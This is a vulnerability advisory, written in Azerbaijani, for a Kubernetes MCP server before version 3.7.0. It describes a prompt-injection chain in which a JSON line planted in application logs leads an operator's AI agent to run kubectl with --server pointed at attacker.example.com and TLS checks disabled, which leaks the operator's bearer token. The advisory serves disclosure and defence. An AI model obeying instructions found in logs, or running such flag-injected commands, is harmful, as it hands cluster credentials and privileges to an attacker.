CVE-2026-47250

mcp-server-kubernetes Kubernetes klaster idarəetməsi üçün Model Context Protocol serveridir. 3.7.0 versiyasından əvvəl mcp-server-kubernetes-də kubectl_generic aləti istifadəçi tərəfindən verilən flag-ları heç bir icazə siyahısı olmadan birbaşa kubectl-ə ötürür və bu, Kubernetes mühitlərində imtiyazların yüksəldilməsi hücumuna imkan verir. Artıq məhdud klaster və ya kod bazası girişi olan hücumçu, məsələn, pod yerləşdirmə icazəsi olan, lakin cluster-admin kredensialları olmayan bir developer, tətbiqin log çıxışına bir strukturlaşdırılmış JSON sətri yerləşdirə bilər. İmtiyazlı kubeconfig-ə malik operator bu logları oxumaq üçün MCP serverindən istifadə etdikdə və onun AI agenti yeridilmiş təlimata əməl etdikdə, kubectl_generic --server=https://attacker.example.com və --insecure-skip-tls-verify=true ilə çağırılır. kubectl bütün API sorğularını, o cümlədən operatorun kubeconfig-indən olan Authorization: Bearer <token> başlığını hücumçunun endpoint-inə göndərir. Əldə edilmiş token daha sonra birbaşa real Kubernetes API serverinə qarşı təkrar istifadə oluna bilər və hücumçuya operatorun xidmət hesabının tam RBAC icazələrini verir. Bu problem 3.7.0 versiyasında düzəldilmişdir.